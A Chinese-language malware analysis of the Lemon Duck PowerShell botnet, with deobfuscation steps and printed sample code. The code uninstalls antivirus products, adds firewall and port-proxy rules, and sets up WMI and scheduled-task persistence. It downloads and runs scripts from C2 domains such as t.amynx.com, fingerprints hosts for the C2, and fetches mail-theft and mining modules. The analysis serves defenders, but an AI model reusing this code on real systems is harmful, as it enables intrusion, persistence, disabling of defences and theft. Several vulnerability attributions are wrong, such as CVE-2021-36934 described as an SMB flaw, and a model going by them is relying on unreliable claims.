Skip to content

基于 PowerShell 模块驱动的柠檬鸭(Lemon Duck)深度分析报告

· 26 min

柠檬鸭(Lemon Duck)是高度模块化完全由脚本驱动的僵尸网络框架。其核心技术特征建立在高度混淆的 PowerShell 脚本链之上。通过将不同的攻击功能(渗透、持久化、排他、挖矿载荷部署)拆解为独立的脚本模块,柠檬鸭实现了极高的灵活性与防御逃逸能力。

基本信息#

文件名MD5 哈希值功能描述
gim.jspb6f0e01c9e2676333490a750e58d4464攻击的初始入口
a.jspc21caa84b327262f2cbcc12bbb510d15攻击的核心调度器
if.bin888dc1ca4b18a3d424498244acf81f7d横向扩散核心
kr.bine04acec7ab98362d87d1c53d84fc4b03挖矿核心

反混淆方法论#

混淆并非柠檬鸭的附加功能,而是其生存基石

脚本采用字符串反转、无意义字符拼接干扰、字符集索引截取、关键字倒序、变量随机命名等多种混淆手法。

以gim.jsp为案例使用手动反混淆方法

工具:Windows PowerShell 、记事本

方法:“识别IEX,删除,运行”

识别IEX:如果你不知道这行具体做什么,就用PowerShel运行,就像下面一样。下图显示,实际上是Invoke-Expression cmdlet。.( $veRbosePrEfERENCe.TOStrIng()[1,3]+‘X’-joIn”)

6

参考:简单的解混之法

原文件:

Terminal window
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c49962........05f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

第一层去混淆操作:删掉”I`EX”

修改后运行:

Terminal window
echo$($(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c49962........05f7cfc31fdfa1b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); > .\decoded_1.txt

第二层先用cyberchef整体反转

删除”&( pShOMe[21]+pShOMe[21]+PSHOme[34]+‘x’)”、”( hCNVErbosepREFEReNcE.TOstRiNG()[1,3]+tfUxtf’+‘U-JoIntfUtfU)”

修改后运行:

Terminal window
$de=$((' ( ((tfUcm'+'d /c start........[CHaR]39 -ReplaCE 'hCN',[CHaR]36)| &( $pShOMe[21]+$PSHOme[34]+'x')
echo $de > .\decoded_2.txt

重复这个流程 直到只剩下可读明文代码

核心样本分析#

gim.jsp:攻击的初始入口#

核心作用是「扫清障碍 + 拉取第二阶段脚本」:此阶段载荷主要负责在 Windows 环境下建立长效驻留。

Terminal window
#卸载主流杀软(Eset、Kaspersky等)
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
#配置防火墙(转发 / 阻断规则)
cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
#启用 SMB(为后续横向扩散铺路)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force
Terminal window
$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if($sa)
{schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"}
else
{schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"}
Terminal window
#针对 3 个指定的恶意域名(t.zz3r0.com等),通过 WMI 事件订阅创建每小时触发一次的隐蔽执行规则,下载 a.jsp 并改名 aa.jsp,实现持久化、无界面运行。
$us=@('t.zz3r0.com','t.zer9g.com','t.amynx.com')
foreach($u in $us){
$theName=getRan
$wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;
EventNameSpace="root\cimv2";
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
} -ErrorAction Stop);
Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;
ExecutablePath="c:\windows\system32\cmd.exe";
CommandLineTemplate="/c powershell -w hidden -c $wmicmd"})}
start-sleep 5
}
#对下载的a.jsp进行校验,下载后会触发「校验机制」(长度≥173→解密前 173 字符→SHA1 校验,校验通过才执行)
$tmps=function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);
$c=$d.count;
if($c -gt 173){$b=$d[173..$c];
$p=New-Object Security.Cryptography.RSAParameters;
$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');
$p.Exponent=0x01,0x00,0x01;
$r=New-Object Security.Cryptography.RSACryptoServiceProvider;
$r.ImportParameters($p);
#校验
if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171]))))
#执行a.jsp
{I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))'}

a.jsp:第二阶段攻击#

负责「环境配置 + 模块下载 + 信息回传」,是整个攻击的核心调度器: 基础配置:强制修改 DNS 为 8.8.8.8/9.9.9.9(确保外网通信稳定);

Terminal window
(get-wmiobject-classwin32_networkadapterconfiguration-filteripenabled=true).SetDNSServerSearchOrder(@(' 8.8.8.8 ',' 9.9.9.9 '))

模块下载:按条件拉取各功能 bin 文件(均为 powershell 脚本),下载时同样触发校验机制: 必下:if.bin(横向核心)、kr.bin(挖矿核心)、report.jsp(回传脚本); 条件下载:ode.bin(无 kk4kk.log 时)、if_mail.bin(有 Outlook 且无 godmali4.txt 时)、m6g.bin/nvd.zip(64 位 + 显卡时);

Terminal window
#定义恶意文件名称+MD5(用于校验,防止篡改)
$ifbin = "if.bin"; $ifmd5 = "888dc1ca4b18a3d424498244acf81f7d"
$krbin = "kr.bin"; $krmd5 = "e04acec7ab98362d87d1c53d84fc4b03"
if ($is64) {
$mbin = "m6.bin"; $mmd5 = "dcd9144d509e7c6e1e63ecdd7e50e935"
$mgbin = "m6g.bin"; $mgmd5 = "c8242bffbaf1f76085f140e5a7552692"
}
#下载并执行
SIEX "$core_url/report.jsp"
#下载NVIDIA挖矿驱动(针对64位+NVIDIA显卡主机)
if($isn -and $is64) {
$nd = "nvd.zip"; $ndg = "$env:tmp\nvdg.dat"
if(!(Test-Path $ndg) -or (Get-Item $ndg).Length -ne 22035968) {
(New-Object Net.WebClient).DownloadFile($down_url+"/$nd", "$env:tmp\$nd")
(New-Object -ComObject Shell.Application).Namespace($env:tmp).CopyHere("$env:tmp\$nd\*",16)
Remove-Item $env:tmp\$nd
}
}
#执行邮件窃取+额外恶意模块
if($mflag) {
try {
$localMail = $false
New-Object Threading.Mutex($true, 'Global\LocalMail', [ref]$localMail)
} catch {}
if($localMail -and !(Test-Path "$env:tmp\godmali4.txt")) {
SIEX "$down_url/if_mail.bin" # 邮件窃取模块
}
}
if(!(Test-Path "$env:tmp\kk4kk.log")) {
SIEX "$down_url/ode.bin" # 额外恶意模块(远控/数据窃取)
}

信息回传:收集系统关键信息(系统版本 / 位数 / 用户 / 显卡 / 内存 / 权限等)、矿机总算力、3 个下载文件的 MD5,统一回传至t.amynx.com;

Terminal window
# 采集系统全量指纹
$permit = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
$comp_name = $env:COMPUTERNAME
$guid = (Get-WmiObject Win32_ComputerSystemProduct).UUID
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.ipenabled -EQ $true }).Macaddress | Select-Object -First 1
$osb = (Get-WmiObject -Class Win32_OperatingSystem)
$os = $osb.Caption.replace("Microsoft Windows", "") + "_" + $osb.Version
$user = $env:USERNAME
$domain = (Get-WmiObject win32_computersystem).Domain
$uptime = [timespan]::FromMilliseconds([environment]::TickCount).TotalSeconds
$card = (Get-WmiObject Win32_VideoController).name # 采集显卡信息(判断是否适合挖矿)
$mem = (Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property Capacity -Sum).Sum / 1Gb # 内存大小
# 采集可用磁盘信息(筛选可写入的磁盘)
try {
$drive = ([system.IO.DriveInfo]::GetDrives() | where {
$_.IsReady -and ($_.AvailableFreeSpace -gt 1024) -and
(($_.DriveType -eq "Removable") -or ($_.DriveType -eq "Network")) -and
(($_.DriveFormat -eq "NTFS") -or ($_.DriveFormat -eq "FAT32"))
} | foreach { ($_.Name)[0] + "_" + ($_.DriveType.ToString())[0] }) -join "|"
} catch {}
$timestamp = (Get-Date -UFormat "%s").Substring(0, 9)
#采集挖矿进程信息(本地43669端口,挖矿程序通信特征)
try {
[Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions")
$obj = (New-Object Web.Script.Serialization.JavaScriptSerializer).DeserializeObject((New-Object Net.WebClient).DownloadString('http://127.0.0.1:43669/1/summary'))
$mv = $obj.version; $mip = $obj.connection.ip; $mhr = $obj.hashrate.total -join ','
} catch {}
#标记显卡类型(NVIDIA/AMD,优先挖矿)
if(($card -match "GTX|NVIDIA|GEFORCE")) { $isn = 1 }
if(($card -match "Radeon|AMD")) { $isa = 1 }
$v = $url.split("?")[1]
$params = @($v, $comp_name, $guid, $mac) -join "&"
# 执行重命名,采集恶意文件MD5(失败则静默忽略)
$rename = getrname
$lifmd5, $lmmd5, $lkrmd5 = "", "", ""
try { $lifmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$ifbin")) } catch {}
try { $lmmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$mbin")) } catch {}
try { $lkrmd5 = gmd5([IO.File]::ReadAllBytes("$env:tmp\$krbin")) } catch {}
# 定义C2下载域名(优先级:d.ackng.com → t.amynx.com)
$down_url = "http://d.ackng.com"
if (!$url) { $url = "http://t.amynx.com" }
$core_url = $url.split("/")[0..2] -join "/"

标识特征:下载时携带UALemon-Duck-标识,可作为检测特征。

Terminal window
$webclient.Headers.add("User-Agent","Lemon-Duck-"+$Lemon_Duck.replace(' \ ',' - '))

功能模块层#

由 a.jsp 下载的各类 bin 文件组成,是攻击的具体落地环节。

if.bin:内网渗透与传播模块#

if.bin是一个功能完整、针对性强的内网渗透与横向传播模块,整合了漏洞利用、凭证窃取、多渠道传播等核心能力,主要面向 Windows 内网环境,技术复杂度较高。

一、漏洞利用总览#

if.bin 会先标识受害机漏洞,再从 http://t[.]amynx[.]com 下载对应漏洞利用脚本,全量漏洞清单如下:

漏洞类型目的特征
IPC$ 共享匿名访问漏洞 + Windows Defender 绕过(7p.php)横向移动入口 + 本地权限维持匿名连接 IPC$、禁用 Defender、分发 USB 感染脚本
SMBv1/SMBv2 权限提升漏洞(ipc.jsp/ipco.jsp)权限提升(SMBGhost 变种)利用 Trans2/NT_TRANS 命令堆溢出,注入恶意数据获取系统权限
MSSQL 漏洞(ms.jsp/mso.jsp)数据库服务器横向移动 + 窃取数据库凭证弱口令登录 1433 端口,启用 xp_cmdshell 执行木马
远程桌面漏洞(rdp.jsp/rdpo.jsp)RDP 暴力破解 + BlueKeep 远程代码执行暴力破解账号、绕过 NLA 限制,利用 msrdp.dll 堆溢出注入 shellcode
SMB 协议进阶漏洞(smgh.jsp/smgho.jsp)SMB 权限提升(CVE-2021-36934 变种)构造恶意 SMB1_TRANS2_EXPLOIT_PACKET,覆盖非分页池内存
Redis 数据库漏洞(rds /rdso)Redis 未授权访问 + 权限提升6379 端口未授权,写入 crontab / 注册表植入木马
SSH 协议漏洞(ssh /ssho)SSH 弱口令暴力破解 + 权限提升爆破 22 端口账号,适配 OpenSSH 9.0 + 密钥认证限制
Hadoop YARN 漏洞(yarn /yarno)YARN ResourceManager 未授权访问8088 端口未授权,提交恶意 Application 执行命令
二、漏洞解析#
SMB 协议漏洞#

SMB 是 if.bin 横向渗透的核心载体,整合了 SMBv1/SMBv2 协议多个高危漏洞(CVE-2020-0796、CVE-2021-36934 等),专门针对无补丁的 Windows 7/8/2008/2012 系统:

image-20260213184921229

image-20260214000205631

RDP 漏洞#

围绕RDP(3389 端口)协议的攻击与控制权获取,是横向移动的核心模块,包含 RDP 暴力破解、NLA 绕过、远程命令执行三大核心能力。

BRUTE:RDP 暴力破解核心

image-20260214000839851

image-20260214000902366

image-20260214000943093

Redis 漏洞#

利用未授权访问后的 “写文件 + 权限提升” :

image-20260214001057178

三、核心能力#
凭据窃取模块:窃取核心敏感信息#
横向移动模块:扩散感染内网主机#
传播扩散模块:USB 设备自动感染#

通过USB.USBLNK类(C# 嵌入代码)实现USB 移动设备的自动化感染与木马传播,是扩大攻击范围的关键模块,通过创建恶意快捷方式(LNK)、JS 脚本,感染连接的 USB 设备,实现 “插上即感染”。

kr.bin:竞品清理与防御削弱#

一、竞品清理#

清除目标主机上所有其他挖矿程序,避免算力被瓜分,从进程、自启动项、网络连接三个核心维度实现对竞品挖矿程序的彻底清理,覆盖挖矿程序的运行、持久化、网络通信全链路,让其他挖矿程序无法启动、无法持久化、无法连接挖矿代理。

进程层面:强制终止 + 深度暂停,阻断竞品运行#

脚本在Killer核心函数中,通过预设挖矿进程特征库 + 精准进程暂停,实现对其他挖矿程序进程的双重打击,不仅直接终止运行中的竞品,还能对漏网的挖矿进程做深度暂停,防止其重启。

强制终止主流挖矿进程:预设$Miner进程列表,包含近 60 个挖矿程序相关特征名,覆盖门罗币挖矿(XMR*、xmrig*、minerd)、挖矿代理(MinerGate)、其他币种挖矿(Carbon)等主流挖矿程序,同时包含挖矿程序常见的伪装进程名(svchosti、explores、conhoste 等,仿冒系统进程),通过Stop-Process -Force强制终止,无任何容错空间。

image-20260213220121118

深度暂停挖矿代理关联进程:对检测到的挖矿代理外网连接关联进程,通过ProcessSuspend函数调用kernel32.dll底层 API 实现进程调试暂停,该方式比原生终止更彻底,且需要SeDebugPrivilege高级权限才能解除,能有效防止其他挖矿程序的进程自重启,从进程运行层面实现算力独占。

image-20260213220702841

持久化层面:删除竞品自启动项,杜绝挖矿程序重启#

挖矿程序通常会通过系统服务、计划任务实现持久化,脚本针对性清理竞品挖矿程序的自启动配置,让其即使被手动启动,也无法在主机重启后自动运行,从根源上消除竞品复现的可能。

禁用并删除挖矿相关服务:预设$SrvName恶意服务列表,包含柠檬鸭识别的其他挖矿程序创建的伪装服务(如 xWinWpdSrv、SVSHost、WinHelp32/64)、挖矿程序的持久化服务(如 sysmgt、WebServers),通过sc.exe执行禁用→停止→删除三步操作,彻底清除挖矿服务自启动项。

image-20260213221001585

强制删除挖矿相关计划任务:预设$TaskName计划任务列表,包含其他挖矿程序的定时启动任务(如 my1、Mysa 系列、gm/ngm)、挖矿程序伪装的系统任务(如 Windows_Update、Update_windows),通过SchTasks.exe /Delete /F强制删除,无提示且不可恢复,切断挖矿程序的定时持久化路径。

image-20260213221114296

网络层面:阻断竞品挖矿代理连接#

挖矿程序的核心需求是连接挖矿代理 / 矿池获取挖矿任务,脚本从IP 封禁 + 代理检测两个维度,阻断其他挖矿程序与外网挖矿代理的通信,让竞品即使进程未被清理,也无法获取挖矿任务,失去挖矿价值。

精准检测挖矿代理连接:通过isminerproxy/isminerproxys函数,针对 XMRig 等主流挖矿程序的JSONRPC 协议特征,检测目标主机与外网的挖矿代理连接,覆盖明文 + TLS 加密两种挖矿代理通信方式,无死角识别竞品的挖矿网络连接。

image-20260213221406300

永久封禁挖矿代理 IP:对检测到的挖矿代理 IP,通过banIp函数执行route add $ip 0.0.0.0 IF 1 -p添加永久静态路由,将挖矿代理 IP 指向空地址,实现本地网络层面的永久阻断,且该路由规则默认对所有网络连接生效,其他挖矿程序无法绕开。

image-20260213221453774

缓存已处置 IP,避免重复操作:通过全局变量$ipdealcache缓存已封禁的挖矿代理 IP: 端口,后续循环检测中直接执行进程暂停 + IP 封禁,提升清理效率,确保挖矿代理连接被持续阻断。

image-20260213221601019

二、防御削弱#

通过禁用系统防护工具、删除监控组件、破坏系统更新、干扰人工操作等方式,削弱目标主机的防御与监控能力。

禁用系统原生防护与监控工具#

脚本针对性打击 Windows 系统原生的防护、监控组件,让系统失去基础的恶意行为检测能力,无法识别柠檬鸭的挖矿行为。

  1. 终止系统杀毒 / 防护进程:在$Miner进程列表中包含WindowsDefender*,直接强制终止 Windows Defender 杀毒软件进程,禁用系统原生的恶意程序检测功能,让柠檬鸭的挖矿进程、恶意文件无法被查杀。
  2. 删除系统监控相关任务 / 服务:在$SrvName/$TaskName中包含Microsoft Telemetry(微软遥测服务,负责系统行为监控与上报)、System Log Security Check(系统日志安全检测任务),通过禁用服务、删除任务的方式,切断系统的行为监控与日志上报,柠檬鸭的挖矿操作不会被系统日志记录,管理员无法通过系统日志发现异常。
打击云服务 / 第三方监控工具#

针对企业主机常用的云服务监控、第三方安全工具,脚本通过清理其相关服务、进程,让远程监控端无法获取目标主机的状态,实现 “离线式” 挖矿。

  1. 清理云监控相关服务$SrvName中的WebServersExpressVNService为云服务监控常用的 web 服务、代理服务,删除此类服务会导致云监控端无法通过网络连接目标主机,无法获取主机的进程、网络、资源占用等监控数据,柠檬鸭的挖矿算力占用无法被远程发现。
  2. 打击第三方安全软件$SrvName中的360rTys指向 360 等第三方安全软件的相关服务,通过禁用删除让第三方安全软件失效,无法对柠檬鸭的挖矿行为做实时检测与拦截。
破坏系统更新与安全策略,削弱主机防御能力#

脚本通过禁用系统更新、破坏系统安全策略,让目标主机无法修复系统漏洞、无法配置安全规则,不仅让柠檬鸭能通过漏洞持续持久化,也让管理员无法通过系统层面的配置防御挖矿行为。

  1. 禁用系统更新相关组件:在$SrvName/$TaskName中多次出现Windows_UpdateUpdate_windowsWindowsUpdate1-3等系统更新相关名称,即使是系统原生的更新服务 / 任务,也会被脚本禁用删除,目标主机无法下载并安装系统漏洞补丁,柠檬鸭可利用已知系统漏洞持续控制主机,且管理员无法通过更新系统封堵挖矿木马的入侵路径。
  2. 破坏系统安全策略相关服务$SrvName中的IPSECS(IP 安全策略服务)是 Windows 系统实现 IP 访问控制、安全加密的核心服务,禁用该服务后,管理员无法通过配置 IP 安全策略封禁挖矿代理 IP,也无法限制进程的网络通信,从系统安全策略层面瓦解防御。
干扰人工管理操作,降低被手动清理的概率#

脚本通过后台启动任务管理器、清理系统管理工具相关进程的方式,干扰管理员的人工主机管理操作,让管理员无法快速发现并手动终止柠檬鸭的挖矿进程。

后台启动任务管理器,干扰进程查看:脚本在Killer函数中检测任务管理器(TaskMgr)是否运行,若未运行则通过Start-Process -WindowStyle hidden后台启动,管理员手动打开任务管理器时会出现界面异常,无法正常查看主机的进程列表,也就无法发现柠檬鸭的挖矿进程。

image-20260213222306764

清理系统管理工具相关进程$Miner进程列表中包含taskmgr1(伪装 / 异常的任务管理器进程)、msinfo(系统信息工具进程),强制终止此类进程,让管理员无法通过系统原生工具查看主机的进程、资源、网络等关键信息,无法手动定位并清理柠檬鸭的挖矿组件。

处置建议#

  1. 补丁管理:重点修复 MS17-010 及 CVE-2020-0796。

  2. 端口封禁:严格限制内网 135、139、445 及 3389 端口的跨网段通信。

  3. 弱口令清理:强制修改 SSH、Redis 及 SQL Server 的默认/弱口令。

  4. 监测:监控 PowerShell 异常执行记录(尤其是带有 Base64 编码的指令流)及 WMI 事件订阅的变化。

参考资料

典型挖矿家族系列分析四丨LemonDuck挖矿僵尸网络 - FreeBuf网络安全行业门户

柠檬鸭(Lemon Duck)样本分析 - 吾爱破解 - 52pojie.cn

永恒之蓝木马下载器再更新,云上主机成为新目标 - FreeBuf网络安全行业门户

蠕虫病毒“柠檬鸭”持续扩散 多种暴破方式攻击用户电脑 - 吾爱破解 - 52pojie.cn

挖矿病毒分析之powershell解密小技巧 - 吾爱破解 - 52pojie.cn